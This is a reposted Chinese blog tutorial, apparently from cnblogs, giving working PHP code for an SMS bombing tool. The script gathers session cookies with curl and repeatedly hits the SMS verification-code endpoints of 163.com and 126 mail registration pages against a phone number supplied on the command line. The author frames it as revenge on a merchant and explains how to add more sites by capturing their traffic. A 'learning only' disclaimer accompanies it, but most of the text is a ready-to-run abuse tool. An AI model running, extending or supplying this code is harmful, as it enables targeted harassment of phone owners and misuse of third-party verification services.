php 构造骚扰短信发送机(仅供学习与参考,请勿用于非法用途)
生活随笔
收集整理的這篇文章主要介紹了
php 构造骚扰短信发送机(仅供学习与参考,请勿用于非法用途)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
最近在某寶買東西得罪了某黑心商家。。然后他就瘋狂的給我發(fā)騷擾短信,煩死了。。。
短信大概就是利用一些網站的手機驗證碼來實現的。。
所以再被他瘋狂騷擾后決定自己動手反擊。。
php主要用到了curl的函數庫擴展,然后主要要做的還是去抓包分析網站注冊碼的各個請求,
下面就主要來一個小的demo來詳細說一下。。效率談不上,僅限于娛樂。
1.sms.php
注意cookie文件一定要用絕對路徑。。在這糾結了好久。。
其他的curlopt參數自己去查手冊吧
還有里面缺少一些狀態(tài)判斷,可以自己去做,懶得搞了。。他一般返回json格式,還是很清楚的,剩余幾次,是否已經注冊都有信息可以提取。curl_exec()的返回值里有數據
1 <?php 2 ini_set('max_execution_time',0); 3 if(!isset($argv[1])){ 4 print("argv error"); 5 die(); 6 } 7 include_once("./webinfo.php"); 8 $exps = array(); 9 foreach ($webs as $key => $value) { 10 $exps[] = new $value($argv[1]); 11 } 12 for($i=1;$i<=3;$i++){ 13 print("this is {$i} send\n"); 14 foreach ($exps as $key => $value) { 15 if(!file_exists($value->cookieJar)){ 16 $fp = fopen(dirname(__FILE__)."/".$value->cookieJar, "w+"); 17 fclose($fp); 18 print("[+]create cookiefile {$value->cookieJar}\n"); 19 } 20 $ch = curl_init(); 21 curl_setopt($ch,CURLOPT_URL,$value->urlGetRawCookie); 22 curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__)."/".$value->cookieJar); 23 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 24 curl_setopt($ch, CURLOPT_HEADER, 0); 25 curl_exec($ch); 26 print("[+]get raw cookie ready\n"); 27 curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar); 28 if($value->urlCheckNum!=null){ 29 $checkUrl = $value->urlCheckNum; 30 foreach ($checkUrl as $k => $v) { 31 if($value->type=="post"){ 32 curl_setopt($ch, CURLOPT_URL, $v[0]); 33 curl_setopt($ch, CURLOPT_POST, true); 34 curl_setopt($ch, CURLOPT_POSTFIELDS, $v[1]); 35 }else{ 36 curl_setopt($ch, CURLOPT_URL, $v); 37 } 38 curl_exec($ch); 39 print("[+]check num ready\n"); 40 } 41 } 42 if($value->type=="post"){ 43 curl_setopt($ch, CURLOPT_POST, true); 44 curl_setopt($ch, CURLOPT_POSTFIELDS, $value->paras); 45 } 46 curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar); 47 curl_setopt($ch, CURLOPT_URL, $value->urlSendSMS); 48 curl_exec($ch); 49 print("[+]send sms ok \n begin the next... \n\n"); 50 } 51 if($i!=3){ 52 print("[--]we will begin the next send sms after 60s\n"); 53 sleep(60); 54 } 55 56 }2.webinfo.php
?
1 <?php 2 /* 3 *本頁面為網站信息數據 4 *$webs數組存放所有的 5 *$type為請求格式 6 * 7 *$urlGetRawCookie為原始登錄網頁網址,用來取得原始cookie并保存, 8 *因為一般他們會把驗證碼信息存在session中,若沒有登錄,就對應了cookie中的JSESSIONID,與http協議機制相關 9 * 10 *$urlCheckNum為最終發(fā)送網址之前的一些網址,保存為數組格式,若為post型,則保存為二維數組, 11 *最內層數組第一個元素為網址,第二個為post數據 12 * 13 *$urlSendSMS為最終發(fā)送網址,若為post型,post數據對應于$paras 14 * 15 *$cookieJar為cookie保存文件 16 */ 17 $webs = array("info163","info126"); 18 class Info163{ 19 public $type = "post"; 20 public $paras = ""; 21 public $urlGetRawCookie = "http://reg.email.163.com/unireg/call.do?cmd=register.entrance&from=163mail"; 22 public $urlCheckNum = null; 23 public $urlSendSMS = "http://reg.email.163.com/unireg/call.do?cmd=added.mobileverify.sendAcode"; 24 public $cookieJar = "cookie163.txt"; 25 public function info163($num){ 26 $this->paras = "mobile={$num}&uid={$num}@163.com&mark=mobile_start"; 27 } 28 29 } 30 class Info126{ 31 public $type = "get"; 32 public $urlGetRawCookie = "http://e.mail.163.com/mobilemail/home.do?from=163mail"; 33 public $urlCheckNum = null; 34 public $urlSendSMS = "http://e.mail.163.com/mobilemail/getVerifyCode.do?rnd=0.031214307695158909"; 35 public $cookieJar = "cookie126.txt"; 36 public function info126($num){ 37 $this->urlCheckNum = array( 38 "http://e.mail.163.com/mobilemail/service/jslog.do?mobile={$num}", 39 "http://e.mail.163.com/mobilemail/checkMobileBinded.do?mobile={$num}&rnd=0.5488968987483531" 40 ); 41 } 42 } 43 44 45 46 ?>自己可以按照規(guī)則擴展webino里的數據,抓包可以用wireshark,不過http抓包個人感覺還是chrome自帶的工具比較好用點
?
?
請勿用于非法用途,后果自負。
?
轉載于:https://www.cnblogs.com/happyDays/p/3440741.html
總結
以上是生活随笔為你收集整理的php 构造骚扰短信发送机(仅供学习与参考,请勿用于非法用途)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: win32 注册表操作
- 下一篇: 高级iOS面试题